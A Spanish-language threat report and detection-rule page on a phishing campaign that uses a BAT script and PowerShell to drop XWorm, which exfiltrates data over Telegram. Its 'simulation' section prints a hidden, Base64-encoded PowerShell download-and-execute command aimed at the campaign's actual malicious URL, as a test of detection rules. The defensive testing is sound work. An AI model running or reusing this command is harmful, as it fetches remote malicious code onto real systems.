Script Malicioso Entregando Más Malicia
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Un correo electrónico de phishing entrega un archivo adjunto malicioso que contiene un script BAT que lanza PowerShell para descargar una carga útil codificada en Base64. Después de decodificar, la carga útil se resuelve en XWorm, un ladrón .NET que identifica al host y exfiltra datos recopilados a través de un bot de Telegram. La persistencia se establece mediante la creación de una tarea programada que ejecuta repetidamente el ejecutable descargado. La operación se basa en múltiples elementos de infraestructura, incluido un señuelo de alojamiento de imágenes falso y al menos una IP comprometida utilizada para el almacenamiento de la carga útil.
Investigación
La revisión del script BAT expuso una línea de comando de PowerShell que recupera un archivo con apariencia de PNG de un dominio controlado por el atacante. El contenido embebido en Base64 se sanitiza, revierte y decodifica para reconstruir el ejecutable .NET. El análisis binario mostró que el malware registra una tarea programada llamada Chromiumx2 y utiliza la API de Telegram para el control y exfiltración de datos. Los investigadores extrajeron indicadores clave de red, incluido el dominio de alojamiento, la dirección IP asociada y el punto de acceso a la API de Telegram referenciado durante la ejecución.
Mitigación
Prevenga la ejecución de contenido no confiable de BAT y PowerShell que provenga de archivos adjuntos de correo electrónico o directorios de descargas de usuario. Aplique una lista de permisos de aplicaciones para restringir la creación de tareas programadas y marque los registros de nuevas tareas sospechosas. Monitoree y, donde sea posible, restrinja el acceso saliente a los puntos finales de la API de Telegram y bloquee los dominios maliciosos identificados en las capas DNS/proxy. Mantenga las detecciones de endpoint actualizadas con indicadores recientemente observados y patrones de descarga basados en scripts.
Respuesta
Aísle los endpoints donde se observe la tarea programada Chromiumx2 o Chromiumx2.exe. Elimine la tarea programada, elimine el binario malicioso y recopile artefactos (script, carga útil decodificada, XML de la tarea y registros relevantes) para un alcance forense. Realice búsquedas en el entorno para encontrar el mismo nombre de tarea, comportamiento de decodificación de PowerShell similar y tráfico dirigido por Telegram. Restablezca las credenciales posiblemente expuestas y notifique a los usuarios sobre el archivo adjunto de phishing para reducir la repetición de la ejecución.
Flujo de Ataque
Detecciones
Posible Abuso de Telegram Como Canal de Comando y Control (a través de dns_query)
Ver
Proceso Sospechoso Utiliza una URL en la Línea de Comando (a través de cmdline)
Ver
Descargar o Subir a través de PowerShell (a través de cmdline)
Ver
Schtasks Apunta a Directorio / Binario / Script Sospechoso (a través de cmdline)
Ver
Cadenas Sospechosas de PowerShell (a través de powershell)
Ver
Archivos Sospechosos en el Perfil Público del Usuario (a través de file_event)
Ver
Cadenas Sospechosas de PowerShell (a través de cmdline)
Ver
Posible Uso de Schtasks o AT para Persistencia (a través de cmdline)
Ver
IOCs (IP de origen) para detectar: Script Malicioso Entregando Más Malicia
Ver
IOCs (IP de destino) para detectar: Script Malicioso Entregando Más Malicia
Ver
Creación de Tarea Programada para Persistencia de Chromiumx2 [Creación de Proceso en Windows]
Ver
Detectar Descarga de Carga Útil de PowerShell Codificada en Base64 [PowerShell de Windows]
Ver
Ejecución de Simulación
Prerequisito: El Chequeo Previo de Telemetría y Línea Base debe haber pasado.
-
Narrativa del Ataque y Comandos:
El atacante quiere descargar y ejecutar una carga útil maliciosa desde un servidor web comprometido. Para evadir la detección clásica de firmas, incrustan toda la lógica de descarga y ejecución en una única cadena Base64 e invocan PowerShell con-EncodedCommand. El comando hace referencia a la URL exacta que la regla de detección monitorea (https://uniworldrivercruises-co.uk/optimized_MSI.png).-
Codifica la carga útil maliciosa (un simple descargador que ejecuta el script recibido):
$payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')" $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) Write-Host $b64Resultado en B64 (ejemplo):
SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...(truncado). -
Ejecute el comando codificado:
powershell -EncodedCommand SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...
Esta línea única genera exactamente la telemetría que la regla Sigma espera: un proceso de PowerShell, el
-EncodedCommandflag, y la URL maliciosa dentro del bloque de script decodificado. -
-
Script de Prueba de Regresión:
#------------------------------------------------- # Script de regresión para activar la regla de detección #------------------------------------------------- # 1. Construir la carga útil maliciosa $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')" $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) # 2. Ejecute la carga útil mediante un comando de PowerShell codificado Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -EncodedCommand $b64" ` -WindowStyle Hidden -PassThru | Out-Null Write-Host "Comando codificado malicioso ejecutado." #------------------------------------------------- -
Comandos de Limpieza:
# Elimine cualquier archivo transitorio (ninguno esperado porque la carga se transmite directamente) # Termine cualquier proceso de PowerShell oculto restante iniciado por la prueba Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.StartInfo.Arguments -match "-EncodedCommand"} | Stop-Process -Force Write-Host "Limpieza completa."